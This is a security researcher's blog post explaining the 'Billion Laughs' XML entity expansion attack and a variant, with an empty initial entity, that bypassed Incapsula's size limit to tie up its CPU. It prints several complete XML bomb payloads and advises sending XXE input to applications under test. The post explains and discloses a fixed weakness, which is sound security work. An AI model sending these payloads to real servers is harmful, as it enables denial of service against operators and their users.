The “billion silent laughs” attack — That time Incapsula was vulnerable to a DoS attack
By Joshua Graham (@JPG1nc)
tldr; If an application expands local entities but enforces a maximum entity size, set the initial entity to the empty string and you will DOS the server’s CPU.
tldr2; When testing an application, set the content type to “application/xml” and throw XXE at it. Sometimes XML is processed by frameworks by default and application owners either didn’t know it exists or forgot to turn it off. Using other content types such as “application/json” when “application/x-www-form-urlencoded” is expected can cause issues too.
Incapsula is pretty cool, they boast about being able to survive an impressive 650Gbps DDOS attack against their network (source: https://www.incapsula.com/blog/650gbps-ddos-attack-leet-botnet.html). What could possibly compete against that scale of attack? This post is about a way that you may have been able to bring down this impressive network using the 2017OWASPS top 10’s newest entry: XML External Entities (XXE).
In 2017 , OWASP released a new top ten with XXE coming in at number 4 on the list. There are some really interesting things you can do with XXE which, in a worst case scenario, can lead to complete compromise of an affected server. However, the features that make a server vulnerable to complete compromise should be turned off by default in modern XML parsing engines. Unfortunately, the “local entity expansion” feature is often turned on by default which will be the topic of discussion for this blog post.
It is probably easier to understand “local entity expansion” by stepping through a practical example. Let’s take the following two XML blobs that, after being processed by an XML parser, end up exactly the same:
<?xml version=”1.0" encoding=”UTF-8"?><foo>bar</foo>
vs
<?xml version=”1.0" encoding=”UTF-8"?><!DOCTYPE foo [<!ENTITY LOL “bar”>]>
<foo>&LOL;</foo>
The second XML blob defines an entity (variable) called “LOL” whose value is “bar” and uses the variable to create an XML blob exactly the same as the one above it. The process of substituting “&LOL;” with “bar” is called entity expansion. In plain English the second XML blob is asking the server to “replace each instance of ‘&LOL;’ with the word ‘bar’”
A well-known attack abusing this “local entity expansion” feature is called the “Billion Laughs” attack and it looks like this:
<!DOCTYPE root [<!ELEMENT root ANY><!ENTITY LOL “lol”><!ENTITY LOL1 “&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;”><!ENTITY LOL2 “&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;”><!ENTITY LOL3 “&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;”><!ENTITY LOL4 “&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;”><!ENTITY LOL5 “&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;”><!ENTITY LOL6 “&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;”><!ENTITY LOL7 “&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;”><!ENTITY LOL8 “&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;”><!ENTITY LOL9 “&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;”>]><root>&LOL9;</root>
The first entity “LOL” has the value “lol” (which is 3 bytes in size). Whenever the XML parser encounters “&LOL;” it will replace it with “lol” so this line:
<!ENTITY LOL1 “&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;”>Becomes :
<!ENTITY LOL1 “lollollollollollollollollollol”>Now the entity LOL1 has the value “lollollollollollollollollollol” (which is 30 bytes in size). Whenever the XML parser encounters “&LOL1;” it will replace it with “lollollollollollollollollollol”. So this line:
<!ENTITY LOL2 “&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;”>Becomes:
<!ENTITY LOL2 “ lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol”>Hopefully you can see where this is going; by the time the system reaches the “LOL9” entity, it will have expanded to 1 billion lols (3 Gigabytes in size). If it doesn’t just cause the server to crash instantly, it will at least consume large amounts of memory and CPU power. Sending thousands of these Billion Laugh messages a second would likely bring any server to a grinding halt.
An effective defense against the Billion Laughs attack is to set a maximum size on the XML entity expansion feature that stops the server from consuming too many resources when parsing XML blobs with entities in it. Let’s say we setup our server to expand to a maximum of 1Mb in size. If we look at our Billion Laughs attack again:
<!DOCTYPE root [<!ELEMENT root ANY><!ENTITY LOL “lol”><!ENTITY LOL1 “&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;”><!ENTITY LOL2 “&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;”><!ENTITY LOL3 “&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;”><!ENTITY LOL4 “&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;”><!ENTITY LOL5 “&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;”><!ENTITY LOL6 “&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;”><!ENTITY LOL7 “&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;”><!ENTITY LOL8 “&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;”><!ENTITY LOL9 “&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;”>]><root>&LOL9;</root>
The XML parser will run until it hit’s the 4th “&LOL5;” where the entity will become 1.2Mb in size (over the size limit) where the server will gracefully stop.
Even with a 1Mb max size restriction, this server is still vulnerable to a DOS attack, just not as vulnerable as it could be. An attacker sending the Billion Laughs payload above is sending approximately 800bytes of data. By the time the server is done with that 800bytes, it has multiplied the data to 1.2Mb in size (1,200,000 bytes). Another way of thinking about this is that an attacker would have to send the same request 1500 times to cause the server to perform the same amount of work as a single request containing entity expansions! But it turns out that in certain instances, we can do even better than this.
Up until now we have focused mainly on the affect an XML entity expansion has on memory, but it also takes up CPU time. The Billion Laughs attack takes up 3Gb of memory, but how much CPU does it take up? Let’s walk through how the LOL2 entity is expanded (the process may differ depending on the XML parser in use):
<!ENTITY LOL2 “&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;”>When the server evaluates the “LOL2” entity, the first thing it encounters is “&LOL1;” what does it do next? Well, it has to look up LOL1 entity which is this one:
<!ENTITY LOL1 “&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;”>When the server evaluates the LOL1 entity, the first thing it encounters is “&LOL;” what does it do next? It looks up the LOL entity which we know is “lol”. LOL1 contains 10 LOL entities so it has to look up LOL 10 times. LOL2 contains 10 LOL1’s which means 10*10 lookups. LOL9 has to do 10*10*10*10*10*10*10*10*10 lookups (1 Billion)! That is a lot of CPU cycles. So how do we fool the XML parser into expanding our entity a billion times without violating the 1Mb size limit? Take a look at this new payload:
<!DOCTYPE root [<!ELEMENT root ANY><!ENTITY LOL “”><!ENTITY LOL1 “&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;”><!ENTITY LOL2 “&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;”><!ENTITY LOL3 “&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;”><!ENTITY LOL4 “&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;”><!ENTITY LOL5 “&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;”><!ENTITY LOL6 “&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;”><!ENTITY LOL7 “&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;”><!ENTITY LOL8 “&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;”><!ENTITY LOL9 “&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;”>]><root>&LOL9;</root>
That’s right, we make the starting entity an empty string. Now the XML parser happily expands the empty LOL entity a billion times without ever hitting the 1Mb size limit (a billion empty strings have an in memory size of 0 bytes)! But what does any of this have to do with Incapsula?
Well it turns out that Incapsula used to do some processing of requests that go through their servers when the request has the content type “application/xml”. This processing includes expanding local XML entities up to a size limit of around 1Mb. I discovered this when performing a penetration test against a client’s site. I sent an XML bomb to the server to see if it was vulnerable to a DoS attack and observed a difference in response timing when sending malicious payloads (from ~25ms for legitimate requests up to ~300ms delay for XML bombs). I could tell that the sever had a size limit set as sending an entity that expanded to 1Mb caused the same delay as an entity that expanded to 1Gb entity.
Out of curiosity I made the initial entity of a 1Gb XML bomb an empty string and observed a 30 second delay in server response (this indicates 30 seconds of hammering the server’s CPU with processing the XML blob)! Investigating the issue further, we could see no evidence that the client’s server was experiencing any additional CPU or memory load when processing the malicious request. It turned out that it was the Incapsula servers that were expanding the XML bomb before forwarding the request to the client’s server.
What was causing the Incapsula server to perform this entity expansion? Unfortunately, that remains a mystery to me. One thing I do know, is that I now test for XXE on all web applications, even if they don’t appear to accept XML. I’ll try to find some time to write a post on how to manually test for this issue…stay tuned.
